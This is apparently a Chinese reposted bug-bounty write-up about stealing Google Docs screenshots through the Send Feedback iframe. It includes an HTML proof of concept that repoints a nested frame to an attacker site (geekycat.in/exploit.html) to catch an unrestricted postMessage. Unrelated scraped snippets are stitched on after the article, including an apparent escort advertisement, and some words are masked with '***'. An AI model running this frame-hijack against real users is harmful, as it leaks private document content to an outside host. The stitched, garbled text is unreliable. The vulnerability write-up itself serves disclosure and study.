本文中,作者利用谷歌的问题反馈机制功能,通过更改其中调用框架iframe的URL路径,可实现对用户当前谷歌文档(Google Docs)工作界面的间接劫持。一起来看看。
谷歌在其大部分应用产品中都有一个名叫“反馈发送”( Send Feedback)的功能,用于用户在使用其产品过程中的问题反馈,该功能中设置了问题描述的截图添加选项。如下所示:
目前来看,该“反馈发送”是谷歌旗下应用的常见功能,范围涵盖包括谷歌主站点https://www.google.com在内的其它应用或产品,并且还通过Iframe方式集成到了谷歌的其它域名网站下。
基于上述谷歌的“反馈发送”功能来看,假设我们在使用谷歌文档-Google Docs (https://docs.google.com/document),可以从路径Help--> Send Feedback来打开“反馈发送”功能来提交一些使用问题。打开“反馈发送”功能后,我们可以看到,此时的谷歌文档会以Iframe方式,对你当前的谷歌文档工作区域部份进行截图。由于谷歌主站www.google.com和Google docs (docs.google.com) 分别属于不同的源,所以,这里“反馈发送”功能的截图渲染操作可能就涉及到了跨源(域)通信,当然,PostMessage机制在这里就派上用场了。大概的一个流程就是:Google Docs会通过postmessage机制把其当前的工作文档截图RGB颜色模式发送到谷歌主站www.google.com的iframe框架,其截图RGB颜色模式最终会被postmessage *** 发到feedback.googleusercontent.com,然后以Base64编码send到主站www.google.com的iframe框架中去。
最后,还得在其截图反馈中添加文字描述,点击“Submit Feedback”提交反馈后,postmessage *** 会一并把图文发送到https://www.google.com。总体流程如下:
了解了上述的反馈发送功能后,我首先想在其中的沙箱域名feedback.googleusercontent.com测试一下XSS漏洞,我预想利用XSS漏洞去劫持其中传输的用来渲染RGB像素点的值,这样就可以间接窃取其截图。一开始我比较有把握觉得沙箱域名feedback.googleusercontent.com应该有XSS,在我朋友的帮助下,我们前后历时5天,但连XSS的影子都没发现,就快要放弃了。一周后,我在Twitter中看到了白帽filedescriptor之前发过的一个视频,视频是关于Intigriti XSS挑战赛的解题思路。
看了filedescriptor发的视频后,我学到了一招。就是,如果当前的跨域域名缺少X-Frame-Header消息头,则可以修改其iframe涉及的域名网站路径。就比如,如果域名abc.com调用的iframe涉及efg.com,但是若abc.com缺少X-Frame-Header消息头,则可以用frames.location *** 把其中涉及iframe的efg.com更改为恶意域名evil.com。
如何来利用呢?是不是如果把其中的跨域域名修改成为我自己控制的网站域名,那我的网站中就会收到谷歌postmessage过来的数据?我决定一试,于是把上述涉及iframe调用的沙箱域名feedback.googleusercontent.com更改为了我的网站域名-geekycat.in,可是,不行,啥也没有。谷歌反馈发送功能中的postmessage *** 如下:
windowRef.postmessage("<Data>","https://feedback.googleusercontent.com");
所以,即使我把iframe调用路径域名更改成我的域名网站,但是由于postmessage *** 中是feedback.googleusercontent.com,所以还是不匹配,就不能成功。但之后,我观察到谷歌反馈发送提交后的最后一个postmessage *** 为windowRef.postmessage("<Data>","*"),其中竟然没有域名限制,那再来试试看吧!
但等等,之前我说过,这里还需要主域名缺少X-Frame header消息头,怎么办呢?幸好经过检查发现,Google docs真的没有X-Frame header消息头。但谷歌还具备其它点击劫持防护措施,而且很多功能选项在iframe框架机制中都是禁用的。这里,我又发现了另外一个LiveOverflow
发布的漏洞利用视频Google Docs XSS Vulnerability,其中讲述了利用postMessage()实现Google Docs 的XSS漏洞,非常具有针对性,完全我能应用到这里的漏洞测试中来。
有了上述珠玉在前的参考,最终我构造的POC如下:
<html> ? ? <iframe src="https://docs.google.com/document/ID" /> ? ? <script> ? ? ? ?//pseudo code ? ? ? ? ? ? ? ? ? ? setTimeout(function(){ exp(); }, 6000); ? ? ? ? function exp(){ ? ? ? ? setInterval(function(){? ? ? ? ? ?window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html"; ? ? ? ? }, 100); ? ? ? ? } ? ? </script> </html>
上述代码意思是以setTimeout方式在6秒后加载iframe框架,另外一个问题是,只有当用户点击了“Submit Feedback”提交反馈后iframe框架才会被加载,因此,在框架的location中,我们对嵌入其中的恶意URL链接设置了100毫秒的刷新时间,以防用户未及时点击“Submit Feedback”。
参考来源:geekcat,编译整理:clouds,转载请注明来自Freebuf.com
动手能力超强 牛人教你做Wifi机器人(图) 一、前言 Wifi机器人(Wifi Robot):其实是一辆能通过互联网,或500...
皮肤过敏小宝宝水果泥怎么选择哪一个知名品牌好 什么水果泥知名品牌皮肤过敏小宝宝不能吃。许多 身体素质非常容易皮肤过敏的小宝宝在挑选水果泥的情况下要需注意,酸牛奶水果泥系列产品水果泥比较敏感小宝宝不能...
“大同伴游-【周朱娇】” 掌握语言:普通话、汉语学历:学士体形:V型民族:土家族年龄:25岁年龄:22岁预约流程所在地:广州商务车展活动:5802米/天在北京目前的一些北京模特预约女伴游中,有的需...
本文目录一览: 1、电脑被黑客入侵怎么办详解 2、黑客入侵电脑开不了机怎么办 3、电脑被黑客入侵了开不了机怎么办 4、电脑被入侵病毒了,开不了机了有什么解决办法没? 5、电脑被人入侵直...
上网的时候,经常会发现自己的网络防火墙在不停的发出警报,专家告诉你这就有可能是遭遇了黑客的攻击。那有什么办法来摆脱这些不请自来的黑客么? 一、取消文件夹隐藏共享 如果你使用了Windows...
本文导读目录: 1、求助:我家有一个比较大的榕树盆栽,这两个月上面出现了类似黑芝麻一样的小虫,还有丝网,请问怎么根治? 2、榕树生虫,怎么解决? 3、榕树卷叶!打开叶子可以看见有黑色的小虫子,...